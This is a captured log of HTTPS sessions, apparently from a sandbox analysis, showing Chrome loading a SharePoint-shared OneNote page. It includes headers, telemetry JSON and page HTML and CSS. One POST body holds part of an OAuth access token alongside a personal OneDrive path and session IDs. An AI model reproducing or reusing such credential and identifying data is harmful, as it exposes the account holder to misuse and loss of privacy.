X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: BL6PEPF0001A16D X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_excelslice,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: A6D0961592B84764A29D73ED3C6880D4 Ref B: BL2AA2030104011 Ref C: 2024-07-16T11:06:54Z Date: Tue, 16 Jul 2024 11:06:54 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49720	52.108.11.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:06:54 UTC	698	OUT	POST /suite/RemoteTelemetry.ashx?usid=5ed32588-7623-377d-905c-f0003950d05f HTTP/1.1 Host: common.online.office.com Connection: keep-alive Content-Length: 684 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://amdat-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://amdat-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:06:54 UTC	684	OUT	Data Raw: 7b 22 64 22 3a 7b 22 61 22 3a 22 4f 6e 65 4e 6f 74 65 22 2c 22 62 22 3a 22 65 6e 2d 55 53 22 2c 22 63 22 3a 22 55 6e 69 66 69 65 64 55 69 48 6f 73 74 22 2c 22 64 22 3a 22 55 4e 49 46 49 45 44 55 49 48 4f 53 54 22 2c 22 6a 22 3a 22 32 30 32 34 30 37 30 39 2e 39 22 2c 22 72 22 3a 66 61 6c 73 65 2c 22 73 22 3a 22 22 2c 22 77 22 3a 22 35 65 64 33 32 35 38 38 2d 37 36 32 33 2d 33 37 37 64 2d 39 30 35 63 2d 66 30 30 30 33 39 35 30 64 30 35 66 22 2c 22 78 22 3a 22 53 68 61 72 69 6e 67 2e 43 6c 69 65 6e 74 52 65 64 69 72 65 63 74 22 2c 22 79 22 3a 22 63 63 64 63 34 65 62 65 2d 31 38 38 38 2d 34 39 39 62 2d 39 65 37 33 2d 62 62 62 64 35 36 30 31 37 39 65 64 22 2c 22 7a 22 3a 22 73 68 61 72 65 70 6f 69 6e 74 63 6f 6d 22 2c 22 61 63 22 3a 22 64 6f 63 61 73 70 78 22 Data Ascii: {"d":{"a":"OneNote","b":"en-US","c":"UnifiedUiHost","d":"UNIFIEDUIHOST","j":"20240709.9","r":false,"s":"","w":"5ed32588-7623-377d-905c-f0003950d05f","x":"Sharing.ClientRedirect","y":"ccdc4ebe-1888-499b-9e73-bbbd560179ed","z":"sharepointcom","ac":"docaspx"
2024-07-16 11:06:54 UTC	1191	IN	HTTP/1.1 200 OK Cache-Control: private P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: Set-Cookie: PUS8-ARRAffinity=37a0d92e3e45b546c17e918c2038800db74ecc10feac816f5eb75862b603bd11;Path=/;Domain=common.online.office.com; samesite=none; secure; partitioned X-CorrelationId: cb2911b6-596a-41fc-af2d-c6216e394b78 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 X-OfficeFE: BL6PEPF00009D54 X-OfficeVersion: 16.0.17910.41010 X-OfficeCluster: PUS8 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://amdat-my.sharepoint.com X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: BL6PEPF00009B22 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_visioslice_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 7E42A509A6A64CFEBCF86E860DC393D3 Ref B: BL2AA2010201009 Ref C: 2024-07-16T11:06:54Z Date: Tue, 16 Jul 2024 11:06:54 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49723	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:06:54 UTC	720	OUT	POST /o/RemoteUls.ashx?usid=5ed32588-7623-377d-905c-f0003950d05f&officeserverversion= HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 5781 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://amdat-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://amdat-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:06:54 UTC	5781	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 31 31 32 38 30 31 33 35 39 32 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 39 36 34 34 34 32 33 38 2c 22 54 22 3a 34 2c 22 4d 22 3a 22 48 6f 73 74 49 6e 69 74 44 69 61 67 6e 6f 73 74 69 63 73 3a 20 7b 5c 22 65 6e 74 72 79 50 6f 69 6e 74 5c 22 3a 5c 22 53 68 61 72 69 6e 67 2e 43 6c 69 65 6e 74 52 65 64 69 72 65 63 74 5c 22 2c 5c 22 68 6f 73 74 50 61 67 65 46 69 72 73 74 46 6c 75 73 68 54 69 6d 65 5c 22 3a 31 37 32 31 31 32 38 30 31 32 32 37 36 2c 5c 22 75 73 65 72 43 6c 69 63 6b 54 69 6d 65 5c 22 3a 31 37 32 31 31 32 38 30 31 30 33 39 30 2c 5c 22 6f 66 66 69 63 65 42 6f 6f 74 73 74 72 61 70 70 65 72 53 74 61 72 74 54 69 6d 65 5c 22 3a 31 37 32 31 31 32 38 30 31 33 35 33 32 2c 5c 22 6f 66 66 69 63 65 42 6f 6f 74 73 74 72 61 70 70 65 72 45 6e Data Ascii: {"T":1721128013592,"L":[{"G":596444238,"T":4,"M":"HostInitDiagnostics: {\"entryPoint\":\"Sharing.ClientRedirect\",\"hostPageFirstFlushTime\":1721128012276,\"userClickTime\":1721128010390,\"officeBootstrapperStartTime\":1721128013532,\"officeBootstrapperEn
2024-07-16 11:06:55 UTC	4597	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: b8198a21-a5db-4caa-a365-804c7b1cef81 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DB5PEPF00011822 X-OfficeVersion: 16.0.17817.41007 X-OfficeCluster: GEU7 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://amdat-my.sharepoint.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: 0D2FB038748FD7F15682069D0E94E4BE713F6F45 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230939,30697 [TRUNCATED] nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-EWR31r5d&DC=&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DB5PEPF00011822 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 03A953EF9A694A2A8AC989F04A950717 Ref B: EWR311000107049 Ref C: 2024-07-16T11:06:54Z Date: Tue, 16 Jul 2024 11:06:54 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49724	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:06:54 UTC	1536	OUT	POST /o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 10452 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://amdat-my.sharepoint.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://amdat-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:06:54 UTC	10452	OUT	Data Raw: 61 63 63 65 73 73 5f 74 6f 6b 65 6e 3d 65 79 4a 30 65 58 41 69 4f 69 4a 4b 56 31 51 69 4c 43 4a 68 62 47 63 69 4f 69 4a 53 55 7a 49 31 4e 69 49 73 49 6e 67 31 64 43 49 36 49 6b 52 68 52 45 46 6d 61 6c 46 52 62 58 42 35 54 31 68 34 4d 6c 4a 79 53 31 39 58 4e 57 78 32 62 30 78 61 4e 43 4a 39 2e 65 79 4a 68 64 57 51 69 4f 69 4a 33 62 33 42 70 4c 32 46 74 5a 47 46 30 4c 57 31 35 4c 6e 4e 6f 59 58 4a 6c 63 47 39 70 62 6e 51 75 59 32 39 74 51 47 4e 6a 5a 47 4d 30 5a 57 4a 6c 4c 54 45 34 4f 44 67 74 4e 44 6b 35 59 69 30 35 5a 54 63 7a 4c 57 4a 69 59 6d 51 31 4e 6a 41 78 4e 7a 6c 6c 5a 43 49 73 49 6d 6c 7a 63 79 49 36 49 6a 41 77 4d 44 41 77 4d 44 41 7a 4c 54 41 77 4d 44 41 74 4d 47 5a 6d 4d 53 31 6a 5a 54 41 77 4c 54 41 77 4d 44 41 77 4d 44 41 77 4d 44 41 77 4d Data Ascii: access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9.eyJhdWQiOiJ3b3BpL2FtZGF0LW15LnNoYXJlcG9pbnQuY29tQGNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsImlzcyI6IjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwM
2024-07-16 11:06:55 UTC	5728	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store Pragma: no-cache Transfer-Encoding: chunked Content-Type: text/html; charset=utf-8 Expires: -1 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; path=/; samesite=none; secure; partitioned X-CorrelationId: 5ed32588-7623-377d-905c-f0003950d05f X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * Origin-Trial: AtFKAQdG+ydQM/bvbc5Qxv930XARVdP6iEmsQLrizs1HYDZnXMf7/f8oOaknwmnnXoTmlFWim3Ptj/bW7MfeElEAAABteyJvcmlnaW4iOiJodHRwczovL29mZmljZWFwcHMubGl2ZS5jb206NDQzIiwiaXNTdWJkb21haW4iOnRydWUsImZlYXR1cmUiOiJIYXB0aWNzRGV2aWNlIiwiZXhwaXJ5IjoxNzQ0MzA5NDUyfQ== Origin-Trial: AhQJUzE5LCv5KHvmQov3fZhTT0W3oRbJWD7uk+pw4EemPcV5dWZzr8wiGtZj/dh81uDAw0I9lZ30j8otVRSRQwYAAABkeyJvcmlnaW4iOiJodHRwczovL29mZmljZWFwcHMubGl2ZS5jb206NDQzIiwiZmVhdHVyZSI6IlRwY2QiLCJleHBpcnkiOjE3MzUzNDM5OTksImlzU3ViZG9tYWluIjp0cnVlfQ== Origin-Agent-Cluster: ?1 X-OfficeFE: DU2PEPF0001783E X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff Content-Security-Policy-Report-Only: font-src data: 'self' res-1.cdn.office.net .skype.com .skypeassets.com .msocdn.com sway.com .sway-cdn.com sway-cdn.com .sharepointonline.com spoprod-a.akamaihd.net .azureedge.net fs.microsoft.com .cdn.office.net res-cn.cdn.partner.office365.cn res-4.cdn.partner.office365.cn res-3.cdn.partner.office365.cn res-1-cdn.azureedge.microsoft.scloud res-1-cdn.azureedge.eaglex.ic.gov res-dev.cdn.officeppe.net .microsoft.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' res-1.cdn.office.net uci.officeapps.live.com cdn.uci.edog.officeapps.live.com cdn.uci.officeapps.live.com uci.edog.cdn.office.net uci.cdn.office.net .skype.com .skypeassets.com .msocdn.com js.live.net appsforoffice.microsoft.com contentstorage.osi.office.net .growth.office.net *.rt.microsoft.com res-prod.cdn.office.net res.cdn.office.net messaging.office.com messaging.growth.office.com messaging.action.office.com messaging.engagement.office.com content.lifecycle.office.net www.microsoft.com pmservices.c [TRUNCATED] Document-Policy: js-profiling Reporting-Endpoints: default="https://euc-onenote.officeapps.live.com/o/BrowserReportingHandler.ashx" nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-EWR31r5d&DC=GEU3&FileSource=SharePointOnline"}]} server-timing: prerender;dur=6,render;dur=2,total;dur=8 X-OFFICEFD: DU2PEPF0001783E X-WacFrontEnd: DU2PEPF0001783E X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wordslice,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: C2A53C114B8B4AFCB93A5C9BFE51E438 Ref B: EWR311000108033 Ref C: 2024-07-16T11:06:54Z Date: Tue, 16 Jul 2024 11:06:54 GMT Connection: close
2024-07-16 11:06:55 UTC	2393	IN	Data Raw: 39 35 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 20 76 61 72 20 67 5f 66 69 72 73 74 42 79 74 65 20 3d 20 6e 65 77 20 44 61 74 65 28 29 3b 20 66 75 6e 63 74 69 6f 6e 20 68 69 67 68 52 65 73 54 69 6d 65 53 74 61 6d 70 28 29 20 7b 20 69 66 20 28 70 65 72 66 Data Ascii: 952<!DOCTYPE html><html><head><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta http-equiv="Content-Type" content="text/html;charset=utf-8" /><script type="text/javascript"> var g_firstByte = new Date(); function highResTimeStamp() { if (perf
2024-07-16 11:06:55 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 65 61 73 65 2d 6f 75 74 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 65 61 73 65 2d 6f 75 74 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 30 2e 35 73 7d 20 40 6b 65 79 66 72 61 6d 65 73 20 73 6b 65 6c 65 74 61 6c 53 68 6f 77 41 63 74 7b 66 72 6f 6d 7b 6f 70 61 63 69 74 79 3a 30 7d 20 74 6f 7b 6f 70 61 63 69 74 79 3a 31 7d 7d 20 40 6b 65 79 66 72 61 6d 65 73 20 73 6b 65 6c 65 74 61 6c 43 6f 76 65 72 41 63 74 7b 30 25 7b 6f 70 61 63 69 74 79 3a 31 7d 36 30 25 7b 6f 70 61 63 69 74 79 3a 30 3b 7d 31 30 30 25 7b 6f 70 61 63 69 74 79 3a 30 3b 7d 7d 20 2e 73 6b 65 6c 65 74 61 6c 54 6f 70 42 61 72 20 7b 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: 2000ing-function:ease-out;-webkit-animation-timing-function:ease-out;animation-duration:0.5s} @keyframes skeletalShowAct{from{opacity:0} to{opacity:1}} @keyframes skeletalCoverAct{0%{opacity:1}60%{opacity:0;}100%{opacity:0;}} .skeletalTopBar {background
2024-07-16 11:06:55 UTC	375	IN	Data Raw: 31 37 30 0d 0a 74 68 3a 31 37 37 70 78 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 62 6f 72 64 65 72 2d 72 69 67 68 74 3a 31 70 78 20 73 6f 6c 69 64 20 23 64 32 64 32 64 32 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 7d 20 2e 73 6b 65 6c 65 74 61 6c 50 6f 73 69 74 69 6f 6e 52 65 77 72 69 74 65 4e 61 76 70 61 6e 65 53 65 63 74 69 6f 6e 43 6f 6c 75 6d 6e 20 7b 77 69 64 74 68 3a 31 38 38 70 78 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 62 6f 72 64 65 72 2d 72 69 67 68 74 3a 31 70 78 20 73 6f 6c 69 64 20 23 64 32 64 32 64 32 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 Data Ascii: 170th:177px;display:inline-flex;border-right:1px solid #d2d2d2;height:100%;position:relative;display:inline-flex;} .skeletalPositionRewriteNavpaneSectionColumn {width:188px;display:inline-flex;border-right:1px solid #d2d2d2;height:100%;position:relative
2024-07-16 11:06:55 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 20 73 6f 6c 69 64 20 23 64 32 64 32 64 32 3b 72 69 67 68 74 3a 31 70 78 3b 77 69 64 74 68 3a 31 39 32 70 78 3b 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 74 6f 70 3a 33 37 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 7d 20 2e 73 6b 65 6c 65 74 61 6c 4e 61 76 70 61 6e 65 50 61 67 65 43 6f 6c 75 6d 6e 20 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 62 6f 72 64 65 72 2d 72 69 67 68 74 3a 31 70 78 20 73 6f 6c 69 64 20 23 64 32 64 32 64 32 3b 72 69 67 68 74 3a 31 70 78 3b 77 69 64 74 68 3a 31 39 32 70 78 3b 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 74 6f 70 3a 34 35 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 7d 20 2e 73 6b 65 6c 65 74 61 6c 54 77 6f 50 61 6e 65 4e 61 76 50 61 67 65 43 Data Ascii: 2000 solid #d2d2d2;right:1px;width:192px; height: 100%;top:37px;position:absolute;} .skeletalNavpanePageColumn {display:inline-block;border-right:1px solid #d2d2d2;right:1px;width:192px; height: 100%;top:45px;position:absolute;} .skeletalTwoPaneNavPageC
2024-07-16 11:06:55 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 65 73 6f 75 72 63 65 73 2f 31 30 33 33 2f 4f 6e 65 4e 6f 74 65 2e 52 65 66 72 65 73 68 2e 63 73 73 27 29 3b 22 2f 3e 3c 73 74 79 6c 65 3e 23 41 64 64 69 74 69 6f 6e 61 6c 42 61 72 73 2c 23 42 75 73 69 6e 65 73 73 42 61 72 2c 23 45 64 69 74 6f 72 42 61 72 73 2c 23 45 64 69 74 6f 72 43 6f 6e 74 61 69 6e 65 72 2c 23 46 61 72 50 61 6e 65 2c 23 48 65 61 64 65 72 2c 23 4b 65 79 62 6f 61 72 64 52 65 67 69 6f 6e 2c 23 4e 65 61 72 42 61 72 73 2c 23 4e 65 61 72 50 61 6e 65 2c 23 4e 6f 74 69 66 69 63 61 74 69 6f 6e 42 61 72 2c 23 52 69 62 62 6f 6e 2c 23 53 74 61 74 75 73 42 61 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 52 65 67 69 6f 6e 7b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 Data Ascii: 2000esources/1033/OneNote.Refresh.css');"/><style>#AdditionalBars,#BusinessBar,#EditorBars,#EditorContainer,#FarPane,#Header,#KeyboardRegion,#NearBars,#NearPane,#NotificationBar,#Ribbon,#StatusBar{display:none;position:relative}.Region{width:100%;height
2024-07-16 11:06:55 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 67 6f 65 2c 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 52 6f 62 6f 74 6f 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 2e 68 65 61 64 65 72 50 6c 61 63 65 68 6f 6c 64 65 72 49 63 6f 6e 2d 31 33 30 7b 2d 6d 6f 7a 2d 6f 73 78 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 67 72 61 79 73 63 61 6c 65 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 48 65 61 64 65 72 50 6c 61 63 65 68 6f 6c 64 65 72 49 63 6f 6e 73 3b 66 6f 6e 74 Data Ascii: 2000goe,-apple-system,BlinkMacSystemFont,Roboto,Helvetica Neue,Tahoma,Helvetica,Arial,sans-serif}.headerPlaceholderIcon-130{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:inline-block;font-family:HeaderPlaceholderIcons;font
2024-07-16 11:06:55 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 6b 65 6c 65 74 61 6c 52 69 62 62 6f 6e 45 78 74 65 6e 73 69 6f 6e 42 6f 78 22 20 72 6f 6c 65 3d 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 22 20 73 74 79 6c 65 3d 22 6c 65 66 74 3a 36 34 32 70 78 3b 77 69 64 74 68 3a 32 37 70 78 22 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 6b 65 6c 65 74 61 6c 52 69 62 62 6f 6e 45 78 74 65 6e 73 69 6f 6e 42 6f 78 22 20 72 6f 6c 65 3d 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 22 20 73 74 79 6c 65 3d 22 6c 65 66 74 3a 38 37 39 70 78 3b 77 69 64 74 68 3a 32 32 70 78 22 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 6b 65 6c 65 74 61 6c 52 69 62 62 6f 6e 45 78 74 65 6e 73 69 6f 6e 42 6f 78 22 20 72 6f 6c 65 3d 22 70 72 65 73 65 6e 74 Data Ascii: 2000span class="skeletalRibbonExtensionBox" role="presentation" style="left:642px;width:27px"></span><span class="skeletalRibbonExtensionBox" role="presentation" style="left:879px;width:22px"></span><span class="skeletalRibbonExtensionBox" role="present
2024-07-16 11:06:55 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 61 73 73 3d 22 73 6b 65 6c 65 74 61 6c 55 6e 69 74 20 73 6b 65 6c 65 74 61 6c 43 61 6e 76 61 73 4c 6f 6e 67 55 6e 69 74 20 73 6b 65 6c 65 74 61 6c 43 61 6e 76 61 73 53 65 63 6f 6e 64 43 6f 6c 75 6d 6e 55 6e 69 74 22 20 72 6f 6c 65 3d 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 22 20 73 74 79 6c 65 3d 22 74 6f 70 3a 33 31 30 70 78 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 31 2e 37 39 73 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 34 73 3b 77 69 64 74 68 3a 33 33 37 70 78 22 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 6b 65 6c 65 74 61 6c 55 6e 69 74 20 73 6b 65 6c 65 74 61 6c 43 61 6e 76 61 73 4c 6f 6e 67 55 6e 69 74 20 73 6b 65 6c 65 74 61 6c 43 61 6e 76 61 73 53 65 63 6f 6e 64 43 6f 6c 75 6d 6e Data Ascii: 2000ass="skeletalUnit skeletalCanvasLongUnit skeletalCanvasSecondColumnUnit" role="presentation" style="top:310px;animation-delay:1.79s;animation-duration:4s;width:337px"></span><span class="skeletalUnit skeletalCanvasLongUnit skeletalCanvasSecondColumn
